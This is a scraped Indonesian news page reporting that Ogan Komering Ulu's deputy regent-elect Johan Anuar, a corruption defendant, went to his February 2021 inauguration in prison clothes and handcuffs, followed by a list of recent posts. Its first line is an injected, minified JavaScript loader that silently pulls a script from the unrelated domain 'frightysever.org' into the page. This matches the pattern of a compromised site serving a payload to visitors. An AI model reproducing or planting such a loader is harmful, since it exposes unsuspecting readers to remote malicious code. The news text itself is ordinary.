(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kisah Wabup OKU ke Lokasi Pelantikan Pakai Baju Tahanan, Tangan Diborgol


KANALKALIMANTAN.COM – Ada cerita menarik dalam pelantikan kepala daerah yang dilaksanakan serentak kemarin, Jumat (26/2/2021). Wakil Bupati Ogan Komering Ulu (OKU) terpilih, Johan Anuar, berangkat ke lokasi pelantikan dengan memakai baju tanahan dan tangan diborgol.

Johan merupakan terdakwa kasus korupsi tanah pemakaman di Kabupaten Ogan Komering Ulu. Johan keluar ke lokasi pelantikan dengan pengawalan ketat personel Brimob.

Kuasa hukum Johan, Titis Rachmawati, sempat meminta awak media tidak melakukan peliputan. Demikian disampaikannya di tahanan sebelum Johan keluar menuju lokasi pelantikan.

“Prinsipnya Johan Anuar bersedia dilantik di Griya Agung dan prosesnya sudah sesuai dengan protokol yang diamanatkan KPK, jadi mohon rekan-rekan media tidak meliput di sini (rutan, red.) silakan liput di Griya Agung,” kata Titis sebelum Johan dikeluarkan.

 

Saat Johan keluar, seperti dikutip dari Antara, ia langsung masuk mobil jaksa KPK. Bersama rombongan Ia kemudian berangkat ke Griya Agung Palembang untuk dilantik oleh Gubernur Sumsel Herman Deru sebagai Wabup Ogan Komering Ulu.

Menurut Titis, pengawalan KPK terhadap Johan hanya sebatas dari rutan sampai pintu gerbang Griya Agung, selanjutnya Johan diserahkan kepada panitia pelaksana pelantikan dengan tetap dikawal.

Johan dilantik mendampingi Bupati Ogan Komering Ulu terpilih, Kuryana Azis, sebagai kepala daerah setempat periode 2021-2026 setelah menang melawan kotak kosong pada Pilkada 2020. Keduanya juga termasuk petahana.

Pengadilan Negeri Palembang mengizinkan Johan Anuar menjalani pelantikan sebagai kepala daerah di luar Rutan Pakjo Palembang setelah Kemendagri mengirimkan surat pemberitahuan.

Namun, Johan hanya diberi waktu berada di luar rutan pada Jumat (26/2/2021), mulai pukul 13.00 hingga 17.00 WIB. Johan juga terancam langsung dinonaktifkan sebagai wabup setelah pelantikan karena statusnya masih terdakwa.

Sebelumnya, Johan Anuar didakwa melakukan tindak pidana korupsi pada pengadaan tanah pemakaman yang merugikan negara Rp 5,7 miliar. Tindakan tersebut dilakukan saat Johan Anuar masih menjabat Wakil Ketua DPRD Ogan Komering Ulu pada 2012.

Johan Anuar ditahan KPK di Rutan Polres Jakarta Pusat pada 10 Desember 2020, atau satu hari setelah tahapan pencoblosan pilkada serentak di mana tersangka menjadi calon wakil bupati tunggal berpasangan dengan Kuryana Azis.

Penahanan tersangka dilakukan setelah lembaga antirasuah itu mengambil alih perkara kasusnya dari Polda Sumsel pada 24 Juli 2020. (suara.com)

Reporter : suara.com
Editor : kk


Al Ghifari

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

8 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

10 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

11 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

13 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

15 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

16 jam ago

This website uses cookies.